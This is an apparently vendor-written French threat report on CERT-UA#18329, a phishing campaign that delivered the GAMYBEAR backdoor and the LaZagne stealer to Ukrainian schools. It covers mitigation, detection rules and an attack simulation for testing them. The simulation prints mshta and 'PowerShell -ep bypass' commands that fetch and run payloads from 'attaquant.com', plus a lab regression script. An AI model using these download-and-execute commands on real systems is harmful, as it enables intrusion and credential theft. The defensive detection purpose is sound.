Cyberattaque ciblée sur une école de l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne de collecte d’informations d’identification a frappé des écoles et des agences publiques dans la région de Soumy via un email de phishing contenant une pièce jointe ZIP. L’ouverture de l’archive a déclenché un fichier HTA par le moyen de mshta utilitaire, qui a ensuite téléchargé des scripts PowerShell pour déployer la porte dérobée GAMYBEAR et le voleur d’identifiants LaZagne, établir une communication C2 via HTTP et exfiltrer des fichiers à partir de répertoires ciblés.
Analyse de l’attaque
CERT-UA a lié la brèche initiale à un message de phishing envoyé le 26 mai 2025 depuis un compte Gmail détourné, fournissant les détails de la campagne dans l’alerte CERT-UA#18329. L’analyse forensic a révélé une chaîne d’infection en plusieurs étapes : ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagné du malware LaZagne, avec persistance maintenue via une entrée dans le registre Run et des téléchargements récurrents depuis des URLs malveillantes.
Atténuation
Renforcer l’authentification multi-facteurs pour tous les comptes email, bloquer l’exécution des fichiers HTA et des scripts PowerShell non fiables, verrouiller la clé de registre Run et implémenter une liste blanche d’applications. Mettre à jour continuellement les règles de détection des terminaux pour reconnaître les noms de fichiers, les hachages et les indicateurs réseau référencés.
Réponse
Isoler rapidement les terminaux concernés, réinitialiser les identifiants Gmail compromis, rassembler tous les IOC identifiés et effectuer des analyses complètes pour GAMYBEAR, LaZagne et les artefacts associés. Informer CERT-UA de l’incident et distribuer les IOC via les canaux de partage de renseignements sur les menaces pertinents.
Flow d’Attaque
Détections
Détection de la communication C2 de GAMYBEAR [Connexion Réseau Windows]
Voir
Détection de l’exécution de la porte dérobée GAMYBEAR [Événement de fichier Windows]
Voir
Détection de l’exécution de mshta.exe et PowerShell avec Bypass [Création de processus Windows]
Voir
IOCs (HashSha1) à détecter : Cybersattaque contre une institution éducative dans l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Voir
IOCs (DestinationIP) à détecter : Cybersattaque contre une institution éducative dans l’est de l’Ukraine utilisant l’outil GAMYBEAR (CERT-UA#18329)
Voir
Simulations
Exécution de simulation
Prérequis : Le test de pré-vol de télémetrie et de référence doit avoir été validé.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.
-
Récit d’attaque et commandes :
-
Étape 1 – Déployer le HTA malveillant : L’attaquant héberge
evil.htasur un serveur web compromis. -
Étape 2 – Exécuter via
mshta.exe: En utilisant une invite de commande Windows, l’attaquant exécutemshta.exe http://attaquant.com/evil.hta. Cela crée un événement de création de processus avecmshta.exedans la ligne de commande, satisfaisant la première clause de la règle. -
Étape 3 – Contournement par PowerShell : Pour exécuter une charge utile qui contourne la Politique d’Exécution du système, l’attaquant lance PowerShell avec l’option
-ep bypass:PowerShell -ep bypass -Command "Invoke-WebRequest http://attaquant.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"Cela génère un deuxième événement de création de processus contenant exactement la chaîne
PowerShell -ep bypass, satisfaisant la deuxième clause.
-
-
Script de test de régression : Le script PowerShell suivant reproduit les étapes ci-dessus de manière automatisée et répétable.
# ------------------------------------------------- # Test de régression – Déclencher la règle Sigma pour mshta & PowerShell -ep bypass # ------------------------------------------------- # Variables – ajuster à votre environnement de laboratoire $htaUrl = "http://127.0.0.1/evil.hta" # Doit pointer vers un fichier HTA accessible $psUrl = "http://127.0.0.1/payload.ps1" # Charge utile PS simple (par ex., `Write-Host "pwned"`) # 1. Appeler mshta.exe Write-Host "[*] Lancement de mshta.exe contre $htaUrl" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # Pause courte pour garantir la journalisation du processus Start-Sleep -Seconds 2 # 2. Appeler PowerShell avec contournement de la politique d'exécution $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] Lancement de PowerShell -ep bypass" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # Pause pour permettre la journalisation Start-Sleep -Seconds 5 Write-Host "[+] Test terminé. Vérifiez votre SIEM pour les alertes." -
Commandes de nettoyage : Supprimer les fichiers temporaires et terminer tous les processus de test résiduels.
# Nettoyer la charge utile temporaire Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # Optionnellement tuer les instances mshta ou PowerShell résiduelles générées par le test Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force